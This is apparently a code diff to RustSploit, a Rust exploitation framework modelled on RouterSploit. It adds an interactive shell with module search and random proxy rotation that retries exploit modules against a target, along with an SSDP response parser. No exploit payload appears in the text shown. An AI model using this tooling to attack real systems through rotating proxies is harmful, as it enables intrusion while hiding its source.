let addr = if target.contains(':') && !target.contains(']') {
// Plain IPv6 without brackets
format!("[{}]:{}", target, port)
} else if target.contains('[') {
// Already bracketed IPv6 (sanitize just in case)
format!("[{}]:{}", target.trim_matches(&['[', ']'][..]), port)
} else {
// IPv4 or hostname
format!("{}:{}", target, port)
};
Ok(addr)
}
/// Cleans up accidental double or triple brackets like [[::1]] → ::1
fn clean_ipv6_brackets(ip: &str) -> String {
ip.trim_start_matches('[')
.trim_end_matches(']')
.to_string()
}
/// Ask user for port (optional), fallback to 1900 if empty
fn prompt_port() -> Option<u16> {
println!("[*] Enter custom port (default 1900): ");
let mut input = String::new();
if let Ok(_) = std::io::stdin().read_line(&mut input) {
let input = input.trim();
if input.is_empty() {
return None;
}
if let Ok(p) = input.parse::<u16>() {
return Some(p);
}
}
None
}
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16) {
let regexps = vec![
("server", r"(?i)Server:\s*(.*?)\r\n"),
("location", r"(?i)Location:\s*(.*?)\r\n"),
("usn", r"(?i)USN:\s*(.*?)\r\n"),
];
let mut results: HashMap<&str, String> = HashMap::new();
for (key, pattern) in regexps {
if let Ok(re) = Regex::new(pattern) {
if let Some(caps) = re.captures(response) {
results.insert(key, caps.get(1).map(|m| m.as_str()).unwrap_or("").to_string());
} else {
results.insert(key, String::from(""));
}
}
}
println!(
"[+] {}:{} | {} | {} | {}",
target_ip,
port,
results.get("server").unwrap_or(&"".to_string()),
results.get("location").unwrap_or(&"".to_string()),
results.get("usn").unwrap_or(&"".to_string())
);
}
+152 -14
View File
@@ -1,14 +1,35 @@
use crate::commands;
use crate::utils;
use anyhow::Result;
use rand::prelude::*; // Updated for rand 0.10
use std::env;
use std::io::{self, Write};
use std::collections::HashSet;
/// Simple interactive shell context
struct ShellContext {
current_module: Option<String>,
current_target: Option<String>,
proxy_list: Vec<String>,
proxy_enabled: bool,
}
impl ShellContext {
fn new() -> Self {
ShellContext {
current_module: None,
current_target: None,
proxy_list: Vec::new(),
proxy_enabled: false,
}
}
}
pub async fn interactive_shell() -> Result<()> {
println!("Welcome to RustSploit Shell (inspired by RouterSploit)");
println!("Type 'help' for a list of commands. Type 'exit' or 'quit' to leave.");
let mut current_module: Option<String> = None;
let mut current_target: Option<String> = None;
let mut ctx = ShellContext::new();
loop {
print!("rsf> ");
@@ -31,37 +52,124 @@ pub async fn interactive_shell() -> Result<()> {
println!("Available commands:");
println!(" use <module_path> - Select a module (e.g. 'use exploits/sample_exploit')");
println!(" set target <value> - Set the target IP/host");
println!(" run - Run the current module");
println!(" run - Run the current module (with proxy retries if enabled)");
println!(" modules - List available modules");
println!(" find <keyword> - Search for a module by keyword");
println!(" proxy_load <file> - Load a list of proxies (http://ip:port, https://ip:port, socks4://ip:port, socks5://ip:port.)");
println!(" proxy_on - Enable proxy usage");
println!(" proxy_off - Disable proxy usage");
println!(" show_proxies - Show loaded proxies & current proxy status");
println!(" exit, quit - Exit the shell");
},
"modules" => {
utils::list_all_modules();
},
c if c.starts_with("use ") => {
let module_path = c.trim_start_matches("use ").trim();
cmd if cmd.starts_with("find ") => {
let keyword = cmd.trim_start_matches("find ").trim();
if keyword.is_empty() {
println!("Usage: find <keyword>");
} else {
utils::find_modules(keyword);
}
},
cmd if cmd.starts_with("proxy_load ") => {
let file = cmd.trim_start_matches("proxy_load ").trim();
match utils::load_proxies_from_file(file) {
Ok(list) => {
ctx.proxy_list = list;
println!("Loaded {} proxies from '{}'.", ctx.proxy_list.len(), file);
}
Err(e) => {
println!("Failed to load proxies: {}", e);
}
}
},
"proxy_on" => {
ctx.proxy_enabled = true;
println!("Proxy usage enabled.");
},
"proxy_off" => {
ctx.proxy_enabled = false;
println!("Proxy usage disabled.");
clear_proxy_env_vars();
},
"show_proxies" => {
if ctx.proxy_list.is_empty() {
println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
} else {
println!("Loaded proxies ({}):", ctx.proxy_list.len());
for p in &ctx.proxy_list {
println!(" {}", p);
}
}
println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
},
cmd if cmd.starts_with("use ") => {
let module_path = cmd.trim_start_matches("use ").trim();
if utils::module_exists(module_path) {
current_module = Some(module_path.to_string());
ctx.current_module = Some(module_path.to_string());
println!("Module '{}' selected.", module_path);
} else {
println!("Module '{}' not found.", module_path);
}
},
c if c.starts_with("set ") => {
// Example: set target 192.168.1.1
let parts: Vec<&str> = c.split_whitespace().collect();
cmd if cmd.starts_with("set ") => {
let parts: Vec<&str> = cmd.split_whitespace().collect();
if parts.len() >= 3 && parts[1] == "target" {
current_target = Some(parts[2].to_string());
ctx.current_target = Some(parts[2].to_string());
println!("Target set to {}", parts[2]);
} else {
println!("Usage: set target <value>");
}
},
"run" => {
if let Some(ref module_path) = current_module {
if let Some(ref t) = current_target {
println!("Running module '{}' against target '{}'", module_path, t);
commands::run_module(module_path, t).await?;
if let Some(ref module_path) = ctx.current_module {
if let Some(ref t) = ctx.current_target {
// -----------------------------
// NEW: Proxy Retry Logic
// -----------------------------
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
let mut tried_proxies = HashSet::new();
let mut success = false;
while tried_proxies.len() < ctx.proxy_list.len() {
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
set_all_proxy_env(&chosen_proxy);
println!("[*] Using proxy: {}", chosen_proxy);
println!("Running module '{}' against target '{}'", module_path, t);
match commands::run_module(module_path, t).await {
Ok(_) => {
success = true;
break;
}
Err(e) => {
eprintln!("[!] Module failed with error: {:?}", e);
eprintln!(" Retrying with a new proxy...");
tried_proxies.insert(chosen_proxy);
}
}
}
if !success {
println!("[!] All proxies failed. Trying direct connection...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Final direct attempt also failed: {:?}", e);
}
}
} else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
} else {
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
}
} else {
println!("No target set. Use 'set target <value>' first.");
}
@@ -77,3 +185,33 @@ pub async fn interactive_shell() -> Result<()> {
Ok(())
}
/// Picks a random proxy from `proxy_list` that is NOT in `tried_proxies`.
fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<String>) -> String {
let untried: Vec<&String> = proxy_list.iter()
.filter(|p| !tried_proxies.contains(*p))
.collect();
if untried.is_empty() {
// Fall back if somehow there's nothing untried
let mut rng = rand::rng();
let idx = rng.random_range(0..proxy_list.len());
return proxy_list[idx].clone();
}
let mut rng = rand::rng();
let idx = rng.random_range(0..untried.len());
untried[idx].clone()
}
/// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https)
fn set_all_proxy_env(proxy: &str) {
env::set_var("ALL_PROXY", proxy);
}
/// Clears environment variables for direct connection
fn clear_proxy_env_vars() {
env::remove_var("ALL_PROXY");
env::remove_var("HTTP_PROXY");
env::remove_var("HTTPS_PROXY");
}
+99 -7
View File
@@ -1,11 +1,34 @@
// src/utils.rs
use colored::*;
use std::fs;
use std::path::{Path,};
use std::io::{BufRead, BufReader, Error};
use std::path::Path;
use anyhow::{Result};
/// Maximum folder depth to traverse
const MAX_DEPTH: usize = 6;
/// Recursively list .rs files up to a certain depth
/// Take “1.2.3.4”, “::1”, “[::1]:8080” or “hostname” and
/// always return a valid “host:port” or “[ipv6]:port” string.
pub fn normalize_target(raw: &str) -> Result<String> {
if raw.contains("]:") || raw.starts_with('[') {
// Already normalized, like [::1]:8080 or [2001:db8::1]
return Ok(raw.to_string());
}
// Looks like an unwrapped IPv6 address if it has multiple colons
let is_ipv6 = raw.matches(':').count() >= 2;
if is_ipv6 {
Ok(format!("[{}]", raw))
} else {
Ok(raw.to_string())
}
}
/// Recursively list .rs files up to a certain depth (unchanged)
fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
let mut modules = Vec::new();
@@ -26,8 +49,7 @@ fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
.unwrap_or(&path)
.with_extension("")
.to_string_lossy()
.replace('\\', "/"); // For Windows compatibility
.replace('\\', "/"); // For Windows
modules.push(relative_path);
}
}
@@ -37,16 +59,15 @@ fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
modules
}
/// Dynamically checks if a module path exists at any depth
/// Dynamically checks if a module path exists at any depth (unchanged)
pub fn module_exists(module_path: &str) -> bool {
let modules = collect_module_paths(Path::new("src/modules"), 0);
modules.iter().any(|m| m == module_path)
}
/// Lists all available modules recursively under src/modules/
/// Lists all available modules recursively under src/modules/ (unchanged)
pub fn list_all_modules() {
println!("{}", "Available modules:".bold().underline());
let modules = collect_module_paths(Path::new("src/modules"), 0);
if modules.is_empty() {
println!("{}", "No modules found.".red());
@@ -71,3 +92,74 @@ pub fn list_all_modules() {
}
}
}
/// Finds and displays modules matching a keyword (unchanged)
pub fn find_modules(keyword: &str) {
let keyword_lower = keyword.to_lowercase();
let modules = collect_module_paths(Path::new("src/modules"), 0);
let filtered: Vec<String> = modules
.into_iter()
.filter(|m| m.to_lowercase().contains(&keyword_lower))
.collect();
if filtered.is_empty() {
println!(
"{}",
format!("No modules found matching '{}'.", keyword).red()
);
return;
}
println!(
"{}",
format!("Modules matching '{}':", keyword).bold().underline()
);
let mut grouped = std::collections::BTreeMap::new();
for module in filtered {
let parts: Vec<&str> = module.split('/').collect();
let category = parts.get(0).unwrap_or(&"Other").to_string();
grouped
.entry(category)
.or_insert_with(Vec::new)
.push(module.clone());
}
for (category, paths) in grouped {
println!("\n{}:", category.blue().bold());
for path in paths {
println!(" - {}", path.green());
}
}
}
/// Parses a single proxy line (unchanged)
fn parse_proxy_line(line: &str) -> String {
let trimmed = line.trim().to_lowercase();
if trimmed.starts_with("http://")
|| trimmed.starts_with("https://")
|| trimmed.starts_with("socks4://")
|| trimmed.starts_with("socks5://")
{
line.to_string()
} else {
format!("http://{}", line)
}
}
/// Load proxies from a file, returning normalized proxy URLs (unchanged)
pub fn load_proxies_from_file(filename: &str) -> Result<Vec<String>, Error> {
let file = fs::File::open(filename)?;
let reader = BufReader::new(file);
let mut proxies = Vec::new();
for line in reader.lines() {
let line = line?.trim().to_string();
if !line.is_empty() {
proxies.push(parse_proxy_line(&line));
}
}
Ok(proxies)
}